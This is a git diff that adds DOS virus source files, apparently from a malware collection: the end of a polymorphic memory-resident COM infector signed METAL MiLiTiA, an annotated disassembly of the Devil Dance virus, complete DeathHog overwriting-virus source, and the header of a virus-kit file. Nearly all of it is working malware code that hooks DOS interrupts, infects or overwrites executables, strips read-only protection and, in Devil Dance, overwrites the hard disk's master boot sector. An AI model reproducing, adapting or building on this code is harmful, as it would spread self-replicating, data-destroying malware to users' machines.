bx,2 +mod_1_cont: + push bx + push cx + mov ax,[bx] ;ax - offset module + mov cx,[bx+10] ;cx - size of module + mov bx,ax +mod_1_lp2: + xor byte ptr [bx],al + inc bx + loop mod_1_lp2 + pop cx + pop bx + add bx,2 + loop mod_1_lp1 + ret + +;------------- MODULE - 2 - MUTATION TO MEMORY ----------------- +mod_2: + ;instalation check + + mov es,cs:[2] ;memory size + mov di,100 + mov si,100 + mov cx,0bh + repe cmpsb + jne mod_2_install ;jump if not install + jmp word ptr cs:[tabb+06] ;if install, jump to module 4 + +mod_2_install: + ;instalation + + mov ax,cs + dec ax + mov ds,ax + + cmp byte ptr ds:[0],'Z' + je mod_2_cont + + jmp word ptr cs:[tabb+6] ;if no last MCB - go to mod4 + +mod_2_cont: + sub word ptr ds:[3],0c0 + mov ax,es + sub ax,0c0 + mov es,ax + mov word ptr ds:[12],ax ;decrement memory size with 2K + push cs + pop ds + +mod_2_mut: + mov byte ptr cs:files,0 + + mov di,100 + mov cx,offset mod_1-100 + mov si,100 + rep movsb ;write table to new memory + + mov bx,word ptr cs:[tabb] + add bx,offset mod_1_lp2-offset mod_1+1 + xor byte ptr [bx],18 ;change code method + + mov cx,8 + mov word ptr curofs,offset mod_1 +mod_2_lp1: + push cx + call mod_2_rnd ;generate random module addres + push bx ;addres in table returned from mod_2_rnd + mov ax,[bx] ;offset module + push ax + add bx,10 + mov cx,[bx] ;length of module + pop si + pop bx + xchg di,curofs + mov word ptr es:[bx],di ;change module offset in table + rep movsb ;copy module to new memory + xchg di,curofs ;change current offset in new memory + mov ax,8000 + or word ptr [bx],ax ;mark module - used + pop cx + loop mod_2_lp1 + mov cl,8 + not ax + mov bx,offset tabb +mod_2_lp2: + and word ptr [bx],ax ;unmark all modules + add bx,2 + loop mod_2_lp2 + + jmp word ptr cs:[tabb+4] ;go to module 3 + +mod_2_rnd: + push cx + push es + xor cx,cx + mov es,cx +mod_2_lp3: + mov bx,es:[46c] + db 81,0e3,07,00 ;and bx,7 + shl bx,1 + add bx,offset tabb + test [bx],8000 + jnz mod_2_lp3 + pop es + pop cx + ret + +;------------- MODULE - 3 - SET INTERRUPT VECTORS --------------- +mod_3: + xor ax,ax + mov ds,ax + + mov ax,ds:[4*21] + mov word ptr es:[oldint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[oldint21+2],ax + + mov ah,30 + int 21 + cmp ax,1e03 + jne mod_3_getvec + + mov word ptr es:[stdint21],1460 + mov ax,1203 + push ds + int 2f + mov word ptr es:[stdint21+2],ds + pop ds + jmp mod_3_setvec + +mod_3_getvec: + mov ax,ds:[4*21] + mov word ptr es:[stdint21],ax + mov ax,ds:[4*21+2] + mov word ptr es:[stdint21+2],ax + +mod_3_setvec: + cli + mov ax,word ptr es:[tabb+0c] + mov ds:[4*21],ax + mov ax,es + mov ds:[4*21+2],ax + sti + + mov cx,es + mov ah,13 ; + int 2f ; + push es ; + mov es,cx ; + mov word ptr es:[oldint13],dx ; get standart int13 addres + mov word ptr es:[oldint13+2],ds ; + pop es ; + int 2f ; + + jmp word ptr cs:[tabb+06] ;go to module 4 + +;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ---- +mod_4: + push cs + push cs + pop ds + pop es + mov si,word ptr cs:[tabb+06] + add si,offset mod_4_cont - offset mod_4 + mov di,cs:fsize + add di,offset myend+1 + push di + mov cx,offset mod_5 - offset mod_4_cont + cld + rep movsb + ret +mod_4_cont: + mov si,cs:fsize + add si,100 + + cmp si,offset myend+1 + jnc mod_4_cnt + mov si,offset myend+1 +mod_4_cnt: + mov di,100 + mov cx,offset myend-100 + rep movsb + mov ax,100 ; + push ax ; jmp 100 + ret ; + +;------------- MODULE - 5 - SPECIAL PROGRAM --------------------- +mod_5: + mov ah,9 + mov dx,word ptr [tabb+8] + add dx,offset msg-offset mod_5 + push cs + pop ds + int 21 + cli + hlt + +msg db 0dh,0a,'Senseless Destruction...',7,7,'$' + +;------------- MODULE - 6 - INT 24 HEADER ----------------------- +mod_6: + mov al,3 + iret + db 'Protecting what we are ',0 + db 'joining together to take on the world.. ',0 + db 'METAL MiLiTiA [iMM0RTAL Ri0T] ',0 + + + + +;------------- MODULE - 7 - INT 21 HEADER ----------------------- +mod_7: + push bx + push si + push di + push es + push ax + + cmp ax,4b00 + je mod_7_begin + jmp mod_7_exit +mod_7_begin: + push ds + push cs ; + pop es ; + xor ax,ax ; + mov ds,ax ; + mov si,4*24 ; + mov di,offset oldint24 ; + movsw ; change int24 vector + movsw ; + mov ax,word ptr cs:[tabb+0a] ; + cli ; + mov ds:[4*24],ax ; + mov ax,cs ; + mov ds:[4*24+2],ax ; + sti + pop ds + + mov ax,3d00 ; + pushf ; + call cs:oldint21 ; + jc mod_7_ex ; open,infect,close file + mov bx,ax ; +mod_7_infect: ; + call word ptr cs:[tabb+0e] ; + pushf + mov ah,3e ; + pushf ; + call cs:oldint21 ; + popf + jc mod_7_ex + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; exchange int13 vectors + mov ax,word ptr cs:[oldint13+2] ; + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; +mod_7_ex: + push ds ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:oldint24 ; + mov ds:[4*24],ax ; + mov ax,word ptr cs:oldint24+2 ; restore int24 vector + mov ds:[4*24+2],ax ; + pop ds ; + +mod_7_exit: + pop ax + pop es + pop di + pop si + pop bx + + jmp cs:oldint21 + +;------------- MODULE - 8 - INFECTING (bx - file handle) -------- +mod_8: + push cx + push dx + push ds + push es + push di + push bp + + push bx + mov ax,1220 + int 2f + mov bl,es:[di] + xor bh,bh + mov ax,1216 + int 2f + pop bx + + mov ax,word ptr es:[di+11] + cmp ax,0f000 + jc mod_8_c + jmp mod_8_exit + +mod_8_c: + mov word ptr es:[di+2],2 ;open mode - R/W + + mov ax,es:[di+11] + mov cs:fsize,ax ; save file size + + mov ax,word ptr es:[di+0dh] ; + mov word ptr cs:[ftime],ax ; save file date/time + mov ax,word ptr es:[di+0f] ; + mov word ptr cs:[fdate],ax ; + + push cs ; + pop ds ; + mov dx,offset myend+1 ; + mov cx,offset myend-100 ; read first bytes + mov ah,3f ; + pushf + call cs:oldint21 + jnc mod_8_cnt + jmp mod_8_exit + +mod_8_cnt: + mov bp,ax ; ax - bytes read + mov si,dx + mov ax,'MZ' + cmp ax,word ptr ds:[si] + jne mod_8_nxtchk + jmp mod_8_exit +mod_8_nxtchk: + xchg ah,al + cmp ax,ds:[si] + jne mod_8_cnt2 + jmp mod_8_exit + +mod_8_cnt2: + push es + push di + push cs ; + pop es ; + mov si,100 ; + mov di,dx ; check for infected file + mov cx,0bh ; + repe cmpsb ; + pop di + pop es + jne mod_8_cnt1 ; + jmp mod_8_exit +mod_8_cnt1: + mov word ptr es:[di+15],0 ; fp:=0 + + push es + push di + mov si,word ptr cs:[tabb+0e] + add si,offset mod_8_cont - offset mod_8 + xor di,di + push cs + pop es + mov cx,offset mod_8_cont_end - offset mod_8_cont + cld + rep movsb + pop di + pop es + + mov si,word ptr cs:[tabb+0e] + add si,offset mod_8_cont_end - offset mod_8 + push si + xor si,si + push si + + push ds ; + cli ; + xor ax,ax ; + mov ds,ax ; + mov ax,word ptr cs:[oldint13] ; + xchg ax,word ptr ds:[4*13] ; + mov word ptr cs:[oldint13],ax ; + mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors + xchg ax,word ptr ds:[4*13+2] ; + mov word ptr cs:[oldint13+2],ax ; + sti ; + pop ds ; + + ret + +mod_8_cont: + push bx + call word ptr cs:[tabb] ; code virus + pop bx + + mov dx,100 ; + mov ah,40 ; write code in begin + mov cx,offset myend-0ff + pushf ; + call cs:stdint21 ; + + pushf + push bx + call word ptr cs:[tabb] ; decode virus + pop bx + popf + jnc mod_8_cont1 + pop ax + mov ax,word ptr cs:[tabb+0e] + add ax,offset mod_8_ext - offset mod_8 + push ax + ret +mod_8_cont1: + mov ax,es:[di+11] ; fp:=end of file + mov word ptr es:[di+15],ax ; + + mov dx,offset myend+1 + mov cx,bp ; bp - files read + mov ah,40 ; + pushf ; + call cs:stdint21 ; write in end of file + + ret + +mod_8_cont_end: + mov ax,5701 ; + mov cx,cs:ftime ; + mov dx,cs:fdate ; restore file date/time + pushf ; + call cs:oldint21 ; + + inc cs:files + cmp cs:files,0a + jne mod_8_ext + call word ptr cs:[tabb+8] + jmp short mod_8_ext +mod_8_exit: + stc + jmp short mod_8_ex +mod_8_ext: + clc +mod_8_ex: + pop bp + pop di + pop es + pop ds + pop dx + pop cx + ret + +;--------------------------------------------------------------- + +myend db 0 + + int 20 ;code of infected file + +false_mod_1: + mov word ptr cs:[tabb],offset mod_1 + ret + +code ends + end start +  \ No newline at end of file diff --git a/d/DEVIL.ASM b/d/DEVIL.ASM new file mode 100755 index 0000000..937076e --- /dev/null +++ b/d/DEVIL.ASM @@ -0,0 +1,625 @@ +; virus Devil Dance +; +; disassembled by Marek A. Filipiak October 31, 1990 +; + +0100 E9090B JMP 0C0C + +; ... +; victim code +; ... + +;======================================== +; Virus entry point +;======================================== + +; find offset of virus code in memory + +0C0C 8B360101 MOV SI,[0101] ; destination of first jump +0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction + +; restore victim starting code + +0C14 56 PUSH SI ; store virus offset in memory +0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes +0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes +0C1C BF0001 MOV DI,0100 ; destination +0C1F F3 REPZ +0C20 A4 MOVSB ; move +0C21 5E POP SI ; restore virus base address + +0C22 E81300 CALL 0C38 ; check presence of resident part +0C25 7306 JAE 0C2D ; return to aplication + +0C27 E86503 CALL 0F8F ; infect one file in current directory +0C2A E82A00 CALL 0C57 ; instal resident part + +; return to aplication + +0C2D B80001 MOV AX,0100 ; return address +0C30 50 PUSH AX +0C31 8CC8 MOV AX,CS +0C33 8ED8 MOV DS,AX +0C35 8EC0 MOV ES,AX +0C37 C3 RET ; jump to aplication + +;--------------------------- +; is resident part active? + +0C38 06 PUSH ES +0C39 B82135 MOV AX,3521 ; get INT 21h vector +0C3C CD21 INT 21 + +0C3E 26 ES: +0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D' +0C43 750F JNZ 0C54 ; no, exit with carry and NZ + +0C45 26 ES: +0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r' +0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ + +0C4C 26 ES: +0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k' +0C51 07 POP ES +0C52 F8 CLC ; exit with no carry and Z or NZ +0C53 C3 RET + +0C54 07 POP ES +0C55 F9 STC +0C56 C3 RET + +;---------------------- +; instal resident part + +0C57 B8004A MOV AX,4A00 ; change size of allocated memory +0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs) +0C5D 0E PUSH CS +0C5E 1F POP DS +0C5F CD21 INT 21 + +0C61 B80048 MOV AX,4800 ; allocate memory +0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes) +0C67 CD21 INT 21 + +0C69 FC CLD +0C6A 8EC0 MOV ES,AX ; segment of allocated block +0C6C 56 PUSH SI ; store SI +0C6D 8BDE MOV BX,SI ; virus base +0C6F BF0301 MOV DI,0103 ; destination +0C72 B9AD03 MOV CX,03AD ; virus size (941) +0C75 F3 REPZ +0C76 A4 MOVSB ; move to new place + +; first 103 bytes of allocated block serve for virus working area + +0C77 26 ES: +0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code + +0C7E 5E POP SI ; restore SI (virus base) +0C7F 1E PUSH DS ; store current DS +0C80 06 PUSH ES ; store virus ES +0C81 8CC0 MOV AX,ES +0C83 48 DEC AX ; segment of MCB +0C84 8EC0 MOV ES,AX +0C86 26 ES: +0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner + +0C8D 07 POP ES ; restore virus ES +0C8E 8CC0 MOV AX,ES ; set DS to new virus segment +0C90 8ED8 MOV DS,AX +0C92 B82135 MOV AX,3521 ; get INT 21h +0C95 CD21 INT 21 + +0C97 891E0200 MOV [0002],BX ; store INT 21h +0C9B 8C060400 MOV [0004],ES +0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h) +0CA2 B82125 MOV AX,2521 ; set INT 21h +0CA5 CD21 INT 21 + +0CA7 B80935 MOV AX,3509 ; get INT 09h +0CAA CD21 INT 21 + +0CAC 891E0600 MOV [0006],BX ; store it +0CB0 8C060800 MOV [0008],ES + +0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter +0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ?? + +0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard) +0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9) +0CC5 CD21 INT 21 + +0CC7 1F POP DS ; restore carrier DS +0CC8 C3 RET + +;----------------------------- +; INT 09h handler (keyboard) + +0CC9 CC INT 3 : ?? destroyed by some debugger ?? +0CCA FB STI +0CCB 50 PUSH AX ; store AX +0CCC 1E PUSH DS ; and DS +0CCD 33C0 XOR AX,AX ; set DS to 0 +0CCF 8ED8 MOV DS,AX +0CD1 A01704 MOV AL,[0417] ; BIOS, shift status +0CD4 2408 AND AL,08 ; extract Alt key +0CD6 3C08 CMP AL,08 ; is active? +0CD8 7503 JNZ 0CDD ; not presed + +0CDA E98300 JMP 0D60 ; check for Del key + +0CDD 2E CS: +0CDE FF062000 INC WORD PTR [0020] ; keystroke counter +0CE2 2E CS: +0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ?? +0CE8 740B JZ 0CF5 + +0CEA 2E CS: +0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed? +0CF0 7403 JZ 0CF5 ; yes + +; exit + +0CF2 EB64 JMP 0D58 ; exit to true INT 9 +0CF4 90 NOP + +; exactly ten keys has been presed or flag [0015] has been set +; change attribute at curent cursor position + +0CF5 52 PUSH DX +0CF6 56 PUSH SI +0CF7 53 PUSH BX +0CF8 06 PUSH ES +0CF9 51 PUSH CX +0CFA BE0301 MOV SI,0103 ; virus base +0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh) +0D01 2E CS: +0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag +0D07 2E CS: +0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h) +0D0C 2E CS: +0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter +0D11 81FB2B03 CMP BX,032B +0D15 7302 JAE 0D19 ; skip counter reset + +0D17 EB0A JMP 0D23 + +0D19 2E CS: +0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter +0D20 BB2503 MOV BX,0325 ; set BX to new value + +0D23 CD11 INT 11 ; equipment list + +0D25 2430 AND AL,30 ; video monitor +0D27 3D3000 CMP AX,0030 ; monochrome +0D2A 7505 JNZ 0D31 ; no + +; mistake! + +0D2C B800B8 MOV AX,B800 ; should be B000 +0D2F EB03 JMP 0D34 + +0D31 B800B8 MOV AX,B800 ; segment of video RAM + +0D34 8EC0 MOV ES,AX ; initialize ES (video RAM) +0D36 2E CS: +0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E +0D39 50 PUSH AX + +; find screen address of current cursor position + +0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position +0D3D 86E0 XCHG AL,AH ; swap column, row +0D3F 8ADC MOV BL,AH ; row +0D41 32E4 XOR AH,AH ; AX := row +0D43 32FF XOR BH,BH ; BX := column +0D45 B9A000 MOV CX,00A0 ; 160, length of one line +0D48 F7E1 MUL CX +0D4A D1E3 SHL BX,1 ; mulitply by 2 +0D4C 03D8 ADD BX,AX + +0D4E 43 INC BX ; attribute field +0D4F 58 POP AX ; restore choosen attribute +0D50 26 ES: +0D51 8807 MOV [BX],AL ; put it on the screen + +; exit + +0D53 59 POP CX +0D54 07 POP ES +0D55 5B POP BX +0D56 5E POP SI +0D57 5A POP DX + +0D58 1F POP DS +0D59 58 POP AX +0D5A FA CLI +0D5B 2E CS: +0D5C FF2E0600 JMP FAR [0006] ; true INT 9 + +; Alt key is presed + +0D60 E460 IN AL,60 ; read keyboard scan code +0D62 3C53 CMP AL,53 ; Del? +0D64 7407 JZ 0D6D ; yes, procede + +; exit to true INT 9 + +0D66 1F POP DS +0D67 58 POP AX +0D68 2E CS: +0D69 FF2E0600 JMP FAR [0006] + +; Alt + Del service + +0D6D CD11 INT 11 ; equipment list + +; again mistake! Decimaly 48 is 30 in hex + +0D6F 254800 AND AX,0048 ; ?? +0D72 3D4800 CMP AX,0048 ; ?? +0D75 7505 JNZ 0D7C + +; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved +; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K) +; so probably AX and 48 almost always will be equol 48. + +0D77 B800B0 MOV AX,B000 ; monochrome +0D7A EB03 JMP 0D7F + +0D7C B800B8 MOV AX,B800 ; other + +0D7F 8EC0 MOV ES,AX ; initial ES to video segment +0D81 8CC8 MOV AX,CS ; restore DS +0D83 8ED8 MOV DS,AX +0D85 33FF XOR DI,DI ; clear screen location pointer +0D87 B407 MOV AH,07 ; attribute +0D89 B0B1 MOV AL,B1 ; chracter (177) +0D8B B9D007 MOV CX,07D0 ; size of screen +0D8E F3 REPZ +0D8F AB STOSW ; fill screen with box character + +; display first part of mesage: Have you ever danced ... + +0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10 +0D93 BE3103 MOV SI,0331 ; offset of message + +0D96 AC LODSB ; get next character +0D97 2C80 SUB AL,80 ; decrypt +0D99 0AC0 OR AL,AL ; end of string? +0D9B 740D JZ 0DAA ; yes + +0D9D B40F MOV AH,0F ; attribute +0D9F AB STOSW ; put on screen +0DA0 B900A0 MOV CX,A000 ; constant for pause + +0DA3 050100 ADD AX,0001 ; small pause +0DA6 E2FB LOOP 0DA3 + +0DA8 EBEC JMP 0D96 ; disply next character + +; display next message: Pray for your disk! + +0DAA BF7008 MOV DI,0870 ; row 13, column 40 +0DAD BE7703 MOV SI,0377 +0DB0 AC LODSB + +0DB1 2C80 SUB AL,80 +0DB3 0AC0 OR AL,AL +0DB5 740D JZ 0DC4 + +0DB7 B40F MOV AH,0F +0DB9 AB STOSW + +0DBA B900A0 MOV CX,A000 + +0DBD 050100 ADD AX,0001 +0DC0 E2FB LOOP 0DBD + +0DC2 EBEC JMP 0DB0 + +; disply third part of message, The_Jocker... + +0DC4 BFB009 MOV DI,09B0 ; row 15, column 40 +0DC7 BE8B03 MOV SI,038B + +0DCA AC LODSB +0DCB 2C80 SUB AL,80 ; decrypt +0DCD 0AC0 OR AL,AL ; end of string? +0DCF 740D JZ 0DDE ; yes + +0DD1 B40F MOV AH,0F ; attribute +0DD3 AB STOSW + +0DD4 B900A0 MOV CX,A000 ; time constant + +0DD7 050100 ADD AX,0001 ; small pause +0DDA E2FB LOOP 0DD7 + +0DDC EBEC JMP 0DCA ; get next character + +; diplay the rest: Ha Ha Ha ... + +0DDE BA1E00 MOV DX,001E ; starting column (15) +0DE1 B90A00 MOV CX,000A ; counter + +0DE4 51 PUSH CX +0DE5 BF400B MOV DI,0B40 ; row 18, column 1 +0DE8 52 PUSH DX +0DE9 D1E2 SHL DX,1 ; DX := 3C +0DEB 03FA ADD DI,DX ; move coursor 30 characters right +0DED 5A POP DX +0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0 + +0DF1 AC LODSB ; get next character +0DF2 2C80 SUB AL,80 ; decrypt +0DF4 0AC0 OR AL,AL ; end of string +0DF6 740D JZ 0E05 ; yes + +0DF8 B40F MOV AH,0F ; attribute +0DFA AB STOSW ; display + +0DFB B900A0 MOV CX,A000 ; time constant + +0DFE 050100 ADD AX,0001 ; small pause +0E01 E2FB LOOP 0DFE + +0E03 EBEC JMP 0DF1 ; get next character + +0E05 83C203 ADD DX,+03 ; move cursor 3 positions right +0E08 59 POP CX ; restore counter +0E09 E2D9 LOOP 0DE4 + +0E0B B020 MOV AL,20 ; enable hardware interrupts +0E0D E620 OUT 20,AL + +0E0F 2E CS: +0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes +0E16 7305 JAE 0E1D ; perform destruction + +0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset + +0E1D B80000 MOV AX,0000 ; reset disk +0E20 CD13 INT 13 + +; overwrite Master Boot Sector of first hard drive + +0E22 B80103 MOV AX,0301 ; write one sector +0E25 33C9 XOR CX,CX +0E27 41 INC CX ; track 0, sector 1 +0E28 33D2 XOR DX,DX ; head 0 +0E2A B280 MOV DL,80 ; first hard drive +0E2C CD13 INT 13 + +; after destruction computer will crush trying execute working area bytes + +;-------------- +; working area + +0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen +0E34 26 03 ; counter, points at one out of six above bytes + +; encrypted ASCIIZ strings (to any character 80h is added) + +0E36 C8 E1 A0 80 ; encrypted 'Ha ',0 + +0E3A C8 E1 F6 E5 A0 F9 Have y +0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w +0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un +0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig +0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?. + +0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di +0E90 F3 EB A1 80 sk!. + +0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker.... + +0EA1 44 72 6B ; signature of virus resident part: 'Drk' + +;----------------------------- +; new INT 21h handler + +0EA4 9C PUSHF +0EA5 3D004B CMP AX,4B00 ; Load and execute +0EA8 7420 JZ 0ECA + +0EAA 80FC49 CMP AH,49 ; free allocated memory +0EAD 7403 JZ 0EB2 + +0EAF EB13 JMP 0EC4 ; exit to old INT 21h +0EB1 90 NOP + +; free allocated memory service + +0EB2 50 PUSH AX +0EB3 53 PUSH BX +0EB4 8CC8 MOV AX,CS ; compare requested block with +0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus +0EB8 3BD8 CMP BX,AX +0EBA 5B POP BX +0EBB 58 POP AX +0EBC 7506 JNZ 0EC4 ; blocks are different, exit + +0EBE F8 CLC ; clear carry (no error!) +0EBF 8CC0 MOV AX,ES ; put own segment into AX +0EC1 CA0200 RETF 0002 + +; exit to old INT 21h + +0EC4 9D POPF +0EC5 2E CS: +0EC6 FF2E0200 JMP FAR [0002] + +; load and execute service + +0ECA 55 PUSH BP +0ECB 50 PUSH AX +0ECC 53 PUSH BX +0ECD 51 PUSH CX +0ECE 52 PUSH DX +0ECF 1E PUSH DS +0ED0 06 PUSH ES +0ED1 56 PUSH SI +0ED2 57 PUSH DI + +0ED3 FC CLD +0ED4 8BF2 MOV SI,DX ; ASCIIZ file name + +0ED6 AC LODSB ; find end of file name +0ED7 0AC0 OR AL,AL ; end of string? +0ED9 7402 JZ 0EDD ; yes + +0EDB EBF9 JMP 0ED6 ; get next character + +0EDD 83EE04 SUB SI,+04 ; point at first char of extension +0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file +0EE3 7502 JNZ 0EE7 ; maybe lower case? + +0EE5 7405 JZ 0EEC ; infect + +0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c' +0EEA 752B JNZ 0F17 ; exit + +; prepare infection + +0EEC B42F MOV AH,2F ; get DTA +0EEE CD21 INT 21 + +0EF0 06 PUSH ES +0EF1 53 PUSH BX +0EF2 52 PUSH DX +0EF3 1E PUSH DS +0EF4 0E PUSH CS +0EF5 1F POP DS +0EF6 BA8000 MOV DX,0080 ; offset of local DTA +0EF9 B41A MOV AH,1A ; set DTA +0EFB CD21 INT 21 + +; get date of loaded file into local DTA + +0EFD 1F POP DS +0EFE 5A POP DX ; offset of file name +0EFF B44E MOV AH,4E ; find first +0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only +0F04 CD21 INT 21 + +0F06 8CC8 MOV AX,CS +0F08 8ED8 MOV DS,AX +0F0A 8B360000 MOV SI,[0000] + +0F0E E81500 CALL 0F26 ; infect file + +0F11 5A POP DX +0F12 1F POP DS +0F13 B41A MOV AH,1A ; restore DTA +0F15 CD21 INT 21 + +0F17 5F POP DI +0F18 5E POP SI +0F19 07 POP ES +0F1A 1F POP DS +0F1B 5A POP DX +0F1C 59 POP CX +0F1D 5B POP BX +0F1E 58 POP AX +0F1F 5D POP BP +0F20 9D POPF +0F21 2E CS: +0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h + +;------------- +; infect file + +0F26 33C9 XOR CX,CX ; clear all attributes +0F28 B80143 MOV AX,4301 ; set attributes +0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!) +0F2E 33C9 XOR CX,CX ; ?? again ?? +0F30 CD21 INT 21 + +0F32 B8023D MOV AX,3D02 ; open file for read/write +0F35 BA9E00 MOV DX,009E ; file name +0F38 CD21 INT 21 + +0F3A 8BD8 MOV BX,AX ; store handle +0F3C 7301 JAE 0F3F ; no error + +0F3E C3 RET + +0F3F B43F MOV AH,3F ; read file +0F41 B90300 MOV CX,0003 ; 3 bytes +0F44 8BD6 MOV DX,SI ; virus base +0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes +0F4A CD21 INT 21 + +0F4C 7305 JAE 0F53 ; no error + +0F4E B43E MOV AH,3E ; close file +0F50 CD21 INT 21 + +0F52 C3 RET + +0F53 B80042 MOV AX,4200 ; move file pointer +0F56 33C9 XOR CX,CX ; at the beginning +0F58 8BD1 MOV DX,CX ; of file +0F5A CD21 INT 21 + +0F5C A19A00 MOV AX,[009A] ; get file length +0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes +0F62 2E CS: +0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write +0F67 8BD6 MOV DX,SI +0F69 81C2AA03 ADD DX,03AA +0F6D B440 MOV AH,40 ; write to file +0F6F B90300 MOV CX,0003 ; new first 3 bytes +0F72 CD21 INT 21 + +0F74 7302 JAE 0F78 ; continue + +0F76 EBD6 JMP 0F4E ; error, exit + +0F78 B80242 MOV AX,4202 ; move file pointer +0F7B 33C9 XOR CX,CX ; at the end +0F7D 8BD1 MOV DX,CX ; of file +0F7F CD21 INT 21 + +0F81 B440 MOV AH,40 ; write file +0F83 B9AD03 MOV CX,03AD ; number of bytes (941) +0F86 8BD6 MOV DX,SI ; address of virus first byte +0F88 CD21 INT 21 + +0F8A B43E MOV AH,3E ; close file +0F8C CD21 INT 21 + +0F8E C3 RET + +;---------------------------------------------- +; find file in current directory and infect it + +0F8F B44E MOV AH,4E ; find first +0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only +0F94 8BD6 MOV DX,SI +0F96 81C2A103 ADD DX,03A1 ; file name: *.COM +0F9A CD21 INT 21 + +0F9C 7303 JAE 0FA1 ; infect + +0F9E EB0C JMP 0FAC ; RET +0FA0 90 NOP + +0FA1 E882FF CALL 0F26 ; infect + +0FA4 B44F MOV AH,4F ; find next +0FA6 CD21 INT 21 +0FA8 7202 JB 0FAC ; RET + +0FAA EBF5 JMP 0FA1 ; infect + +0FAC C3 RET + + +0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0 +0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file + +; end of infected file +;---------------------- + diff --git a/d/DHOG.ASM b/d/DHOG.ASM new file mode 100755 index 0000000..085f54c --- /dev/null +++ b/d/DHOG.ASM @@ -0,0 +1,64 @@ +; DeathHog, (will defeat read-only files and appends itself to all +; files) +; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ +; r/w access, nuisance routines supplied by KOUCH +; +; Appended by Kouch, derived from DeathCow/Define (author unknown) + + +virus_length equ finish - start + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +start label near + +main proc near + mov ah,04Eh ; DOS find first file function + mov dx,offset file_spec ; DX points to "*.*" - any file + int 021h + +infect_file : mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,09Eh ;attribute and changes it + int 21H ;to r/w access so that when + ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,09Eh ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + + mov ax,03D01h ; DOS open file function, write-only + mov dx,09Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cl,virus_length ; CL holds # of bytes to write + mov dx,offset main ; DX points to start of code + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ah,04Fh ; DOS find next file function + int 021h + jnc infect_file ; Infect next file, if found + + mov ah,31h ;insert 480K memory balloon + mov dx,7530h ;for nuisance value + int 21H ;it's big enough so 'out of + ;memory' messages will start cropping up quickly + ; RETurn to DOS + +file_spec db "*.*",0 ; Files to infect: apped to all files +main endp + +finish label near + + code ends + end main diff --git a/d/DIAL.ASM b/d/DIAL.ASM new file mode 100755 index 0000000..13dbf71 --- /dev/null +++ b/d/DIAL.ASM @@ -0,0 +1,319 @@ +; DIAL.ASM -- HorneyMan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Frankenchrist + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted 